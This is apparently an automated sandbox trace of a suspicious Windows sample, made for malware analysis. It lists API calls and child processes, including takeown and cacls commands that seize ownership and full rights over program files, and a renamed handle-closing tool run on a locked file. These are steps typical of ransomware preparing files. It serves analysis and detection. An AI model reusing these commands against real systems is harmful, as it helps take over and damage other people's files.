[0095.951] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.951] PsReleaseProcessExitSynchronization () returned 0x2 [0095.951] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.951] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.951] ObfDereferenceObject (Object=0xfffffa8003989960) returned 0x1 [0095.951] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.951] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.951] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.951] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.951] PsAcquireProcessExitSynchronization () returned 0x0 [0095.951] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.951] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025dbd60, HandleInformation=0x0) returned 0x0 [0095.951] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.951] PsReleaseProcessExitSynchronization () returned 0x2 [0095.951] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.951] ObQueryNameString (in: Object=0xfffffa80025dbd60, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.952] ObfDereferenceObject (Object=0xfffffa80025dbd60) returned 0x1 [0095.952] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.952] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.952] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.952] PsAcquireProcessExitSynchronization () returned 0x0 [0095.952] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.952] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.952] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.952] PsReleaseProcessExitSynchronization () returned 0x2 [0095.952] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.952] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.952] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.952] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.952] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.952] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.952] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.952] PsAcquireProcessExitSynchronization () returned 0x0 [0095.952] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.952] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f7440, HandleInformation=0x0) returned 0x0 [0095.952] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.952] PsReleaseProcessExitSynchronization () returned 0x2 [0095.952] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.952] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.952] ObfDereferenceObject (Object=0xfffffa80024f7440) returned 0x1 [0095.952] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.952] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.953] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.953] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.953] PsAcquireProcessExitSynchronization () returned 0x0 [0095.953] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.953] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002aab810, HandleInformation=0x0) returned 0x0 [0095.953] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.953] PsReleaseProcessExitSynchronization () returned 0x2 [0095.953] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.953] ObQueryNameString (in: Object=0xfffff8a002aab810, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.953] ObfDereferenceObject (Object=0xfffff8a002aab810) returned 0x1 [0095.953] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.953] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.953] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.953] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.953] PsAcquireProcessExitSynchronization () returned 0x0 [0095.953] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.953] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028c7f20, HandleInformation=0x0) returned 0x0 [0095.953] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.953] PsReleaseProcessExitSynchronization () returned 0x2 [0095.953] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.953] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.953] ObfDereferenceObject (Object=0xfffffa80028c7f20) returned 0x1 [0095.953] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.953] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.953] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.953] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.953] PsAcquireProcessExitSynchronization () returned 0x0 [0095.953] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.953] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0043b81a0, HandleInformation=0x0) returned 0x0 [0095.953] ObfDereferenceObject (Object=0xfffff8a0043b81a0) returned 0x1 [0095.953] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.953] PsReleaseProcessExitSynchronization () returned 0x2 [0095.954] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.954] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.954] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.954] PsLookupProcessByProcessId (in: ProcessId=0xd24, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.954] PsAcquireProcessExitSynchronization () returned 0x0 [0095.954] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880052335d0) [0095.954] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.954] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.954] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.954] PsReleaseProcessExitSynchronization () returned 0x2 [0095.954] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1e [0095.954] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.954] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xd40) returned 0x0 [0095.954] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.954] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.954] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.954] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x250b20, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0095.954] PsLookupProcessByProcessId (in: ProcessId=0xd40, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0xc000000b [0095.954] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.954] GetLastError () returned 0x57 [0095.954] SetLastError (dwErrCode=0x57) [0095.954] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x1000) returned 0x250b20 [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.955] SetLastError (dwErrCode=0x57) [0095.955] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.956] GetLastError () returned 0x57 [0095.956] SetLastError (dwErrCode=0x57) [0095.957] GetVersion () returned 0x1db10106 [0095.957] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0095.957] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0095.958] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0095.959] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x230080 | out: hHeap=0x210000) returned 1 [0095.959] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0095.959] RtlExitUserProcess (ExitCode=0x1) [0095.960] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x22f050 | out: hHeap=0x210000) returned 1 [0095.975] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) Thread: id = 720 os_tid = 0xd34 Process: id = "163" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xa9b1000" os_pid = "0xd24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 717 os_tid = 0xd28 Thread: id = 719 os_tid = 0xd30 Thread: id = 721 os_tid = 0xd38 Process: id = "164" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x7bc4000" os_pid = "0xd40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "147" os_parent_pid = "0xc8c" cmd_line = "takeown /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 723 os_tid = 0xd44 Thread: id = 724 os_tid = 0xd48 Process: id = "165" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0xef0b000" os_pid = "0xd4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "161" os_parent_pid = "0xd14" cmd_line = "cacls \"C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 725 os_tid = 0xd50 Process: id = "166" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x22cd000" os_pid = "0xd54" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "147" os_parent_pid = "0xc8c" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 726 os_tid = 0xd58 [0090.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efddc | out: lpSystemTimeAsFileTime=0x1efddc*(dwLowDateTime=0xd94dd0a0, dwHighDateTime=0x1d5d06a)) [0090.185] GetCurrentProcessId () returned 0xd54 [0090.185] GetCurrentThreadId () returned 0xd58 [0090.185] GetTickCount () returned 0x115e5dd [0090.185] QueryPerformanceCounter (in: lpPerformanceCount=0x1efdd4 | out: lpPerformanceCount=0x1efdd4*=23213751466) returned 1 [0090.186] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0090.186] __set_app_type (_Type=0x1) [0090.186] __p__fmode () returned 0x76be31f4 [0090.186] __p__commode () returned 0x76be31fc [0090.186] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0090.186] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0090.186] GetCurrentThreadId () returned 0xd58 [0090.186] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd58) returned 0x60 [0090.186] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0090.187] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0090.187] SetThreadUILanguage (LangId=0x0) returned 0x409 [0090.187] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0090.187] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efd6c | out: phkResult=0x1efd6c*=0x0) returned 0x2 [0090.187] VirtualQuery (in: lpAddress=0x1efda3, lpBuffer=0x1efd3c, dwLength=0x1c | out: lpBuffer=0x1efd3c*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0090.187] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1efd3c, dwLength=0x1c | out: lpBuffer=0x1efd3c*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0090.187] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1efd3c, dwLength=0x1c | out: lpBuffer=0x1efd3c*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0090.187] VirtualQuery (in: lpAddress=0xf3000, lpBuffer=0x1efd3c, dwLength=0x1c | out: lpBuffer=0x1efd3c*(BaseAddress=0xf3000, AllocationBase=0xf0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0090.187] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1efd3c, dwLength=0x1c | out: lpBuffer=0x1efd3c*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0090.187] GetConsoleOutputCP () returned 0x1b5 [0090.187] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0090.187] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0090.187] _get_osfhandle (_FileHandle=1) returned 0x80 [0090.188] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0090.188] _get_osfhandle (_FileHandle=1) returned 0x80 [0090.188] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0090.188] _get_osfhandle (_FileHandle=0) returned 0x3 [0090.188] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0090.188] GetEnvironmentStringsW () returned 0x502228* [0090.188] GetProcessHeap () returned 0x4f0000 [0090.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x502dc8 [0090.188] FreeEnvironmentStringsW (penv=0x502228) returned 1 [0090.189] GetProcessHeap () returned 0x4f0000 [0090.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x4fec28 [0090.189] GetEnvironmentStringsW () returned 0x502228* [0090.189] GetProcessHeap () returned 0x4f0000 [0090.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x503968 [0090.189] FreeEnvironmentStringsW (penv=0x502228) returned 1 [0090.189] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eecdc | out: phkResult=0x1eecdc*=0x68) returned 0x0 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x0, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x1, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x0, lpData=0x1eece8*=0x1, lpcbData=0x1eece0*=0x1000) returned 0x2 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: lpType=0x1eece4*=0x4, lpData=0x1eece8*=0x0, lpcbData=0x1eece0*=0x4) returned 0x0 [0090.189] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eece4, lpData=0x1eece8, lpcbData=0x1eece0*=0x1000 | out: 